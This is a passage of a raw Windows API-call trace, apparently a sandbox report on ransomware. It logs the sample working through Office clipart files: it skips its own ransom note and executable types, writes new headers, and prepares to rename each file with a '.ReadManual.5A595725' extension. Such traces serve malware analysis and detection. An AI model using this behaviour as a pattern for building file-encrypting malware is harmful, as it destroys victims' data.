lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.932] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2412) returned 1 [0262.932] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x96c, lpName=0x0) returned 0x184 [0262.932] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.933] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.933] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.935] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.935] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x96c) returned 0x2f0000 [0262.935] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.935] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38360415411) returned 1 [0262.935] CloseHandle (hObject=0x184) returned 1 [0262.935] SetSecurityInfo () returned 0x57 [0262.936] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.936] CloseHandle (hObject=0x194) returned 1 [0262.936] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0262.936] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01176_.WMF" | out: lpString1="FD01176_.WMF") returned="FD01176_.WMF" [0262.936] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.936] StrStrIW (lpFirst="FD01176_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.936] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.936] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.936] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" [0262.936] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.ReadManual.5A595725" [0262.936] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.ReadManual.5A595725") returned 87 [0262.936] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38360515053) returned 1 [0262.936] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0262.937] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.937] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4984) returned 1 [0262.937] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1378, lpName=0x0) returned 0x184 [0262.937] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.938] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.938] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.939] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.940] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1378) returned 0x2f0000 [0262.940] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.940] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38360863677) returned 1 [0262.940] CloseHandle (hObject=0x184) returned 1 [0262.940] SetSecurityInfo () returned 0x57 [0262.940] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.940] CloseHandle (hObject=0x194) returned 1 [0262.940] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0262.940] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01191_.WMF" | out: lpString1="FD01191_.WMF") returned="FD01191_.WMF" [0262.940] lstrcmpiW (lpString1="FD01191_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.940] StrStrIW (lpFirst="FD01191_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.940] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.940] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.940] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.940] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.940] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.941] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.941] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.941] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.941] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.941] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.941] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.941] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.941] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.941] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.941] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" [0262.941] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.ReadManual.5A595725" [0262.941] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.ReadManual.5A595725") returned 87 [0262.941] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38360967357) returned 1 [0262.941] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0262.942] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.942] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3964) returned 1 [0262.942] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf7c, lpName=0x0) returned 0x184 [0262.942] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.943] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.943] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.944] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.945] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf7c) returned 0x2f0000 [0262.945] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.945] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38361377060) returned 1 [0262.945] CloseHandle (hObject=0x184) returned 1 [0262.945] SetSecurityInfo () returned 0x57 [0262.945] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.945] CloseHandle (hObject=0x194) returned 1 [0262.945] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0262.945] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01193_.WMF" | out: lpString1="FD01193_.WMF") returned="FD01193_.WMF" [0262.945] lstrcmpiW (lpString1="FD01193_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.945] StrStrIW (lpFirst="FD01193_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.945] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.945] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.946] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.946] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" [0262.946] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.ReadManual.5A595725" [0262.946] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.ReadManual.5A595725") returned 87 [0262.946] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38361474108) returned 1 [0262.946] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20 [0262.946] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.946] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1160) returned 1 [0262.946] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x488, lpName=0x0) returned 0x184 [0262.947] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.947] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.947] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.949] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.949] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x488) returned 0x2f0000 [0262.949] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.949] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38361812974) returned 1 [0262.949] CloseHandle (hObject=0x184) returned 1 [0262.949] SetSecurityInfo () returned 0x57 [0262.950] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.950] CloseHandle (hObject=0x194) returned 1 [0262.950] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0262.950] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01196_.WMF" | out: lpString1="FD01196_.WMF") returned="FD01196_.WMF" [0262.950] lstrcmpiW (lpString1="FD01196_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.950] StrStrIW (lpFirst="FD01196_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.950] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.950] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.950] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" [0262.950] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.ReadManual.5A595725" [0262.950] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.ReadManual.5A595725") returned 87 [0262.950] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38361914690) returned 1 [0262.950] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20 [0262.951] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.951] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2332) returned 1 [0262.951] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91c, lpName=0x0) returned 0x184 [0262.951] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.952] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.952] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.954] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.954] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91c) returned 0x2f0000 [0262.954] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.954] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38362273663) returned 1 [0262.954] CloseHandle (hObject=0x184) returned 1 [0262.954] SetSecurityInfo () returned 0x57 [0262.954] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.954] CloseHandle (hObject=0x194) returned 1 [0262.954] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0262.954] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01548_.WMF" | out: lpString1="FD01548_.WMF") returned="FD01548_.WMF" [0262.954] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.954] StrStrIW (lpFirst="FD01548_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.954] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.954] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.954] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.955] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.955] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" [0262.955] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.ReadManual.5A595725" [0262.955] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.ReadManual.5A595725") returned 87 [0262.955] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38362371041) returned 1 [0262.955] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20 [0262.955] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.955] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10316) returned 1 [0262.955] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x284c, lpName=0x0) returned 0x184 [0262.955] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.956] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.956] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.958] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.958] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x284c) returned 0x2f0000 [0262.958] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.959] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38362733099) returned 1 